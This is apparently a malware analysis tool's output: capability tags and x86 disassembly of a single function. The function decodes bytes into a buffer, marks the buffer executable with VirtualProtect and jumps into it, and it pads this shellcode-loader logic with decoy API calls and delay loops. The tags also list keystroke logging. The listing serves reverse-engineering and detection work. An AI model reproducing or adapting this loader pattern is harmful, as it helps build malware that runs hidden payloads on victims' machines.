Function at 0x4036c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Log keystrokes via polling
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x43a118
push eax
mov dword fs:[0], esp
sub esp, 0xc28
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
push 0
call edi
call ebx
cmp esi, 0x207142
jg 0x403706
inc esi
cmp esi, 0x67d12
jl 0x4036ef
cmp dword [0x5e220c], 0x93
jne 0x403806
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringA]
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuA]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push esi
lea eax, [ebp - 0xc34]
push eax
push esi
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
push esi
push esi
lea ecx, [ebp - 0x434]
push ecx
push esi
push esi
call dword [sym.imp.USER32.dll_DdeQueryStringA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor edx, edx
lock bts dword [edx], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
mov ecx, dword [ebp - 0x10]
push ecx
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor eax, eax
mov dword [ebp - 0x20], 7
mov dword [ebp - 0x24], esi
mov word [ebp - 0x34], ax
push esi
push esi
mov dword [ebp - 4], esi
call fcn.0040409d
call fcn.00403b55
push esi
call fcn.00404058
push esi
call fcn.00404087
push esi
push esi
call fcn.0040423b
push esi
push esi
call fcn.00404092
add esp, 0x20
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], 8
jb 0x403806
mov ecx, dword [ebp - 0x34]
push ecx
call fcn.004041a9
add esp, 4
mov eax, dword [0x5e220c]
mov edx, dword [0x43f724]
add eax, 0x1134b
push eax
push 0
mov dword [0x5e3048], edx
mov dword [0x5e220c], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x5e220c]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push edx
push eax
mov dword [0x5e1c9c], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_GetMenuBarInfo]
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
mov esi, 0x1692e
push 0
push 0
push 0
push 0
call edi
push 0
lea eax, [ebp - 0x434]
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x403854
cmp dword [0x5e220c], esi
jbe 0x4038e2
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ecx, dword [0x5e3048]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x5e1c9c]
mov byte [eax + esi], dl
cmp dword [0x5e220c], 0x490
jne 0x4038d9
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea ecx, [ebp - 0x10]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
inc esi
cmp esi, dword [0x5e220c]
jb 0x403886
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.USER32.dll_ChangeMenuW]
xor esi, esi
mov edx, dword [0x5e220c]
add edx, esi
cmp edx, 0x8d
jne 0x403938
push 0
lea eax, [ebp - 0x434]
push eax
push 0
push 0x403248
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
inc esi
cmp esi, 0x38681
jl 0x4038f0
call fcn.00403460
xor edi, edi
xor esi, esi
lea ebx, [ebx]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x40396e
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0x9117
mov ecx, dword [ebp - 0x10]
add dword [0x5e1c9c], ecx
inc esi
cmp esi, 0x674bd
jl 0x403950
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_HeapWalk]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x5e220c], 0x86
jne 0x4039cf
push 0
call esi
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
lea edx, [ebp - 0x834]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
cmp dword [0x5e220c], 0xf
jne 0x4039e6
push 0
push 0
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
dec dword [ebp - 0x10]
jne 0x403990
push 0x40324c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x5e1c9c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret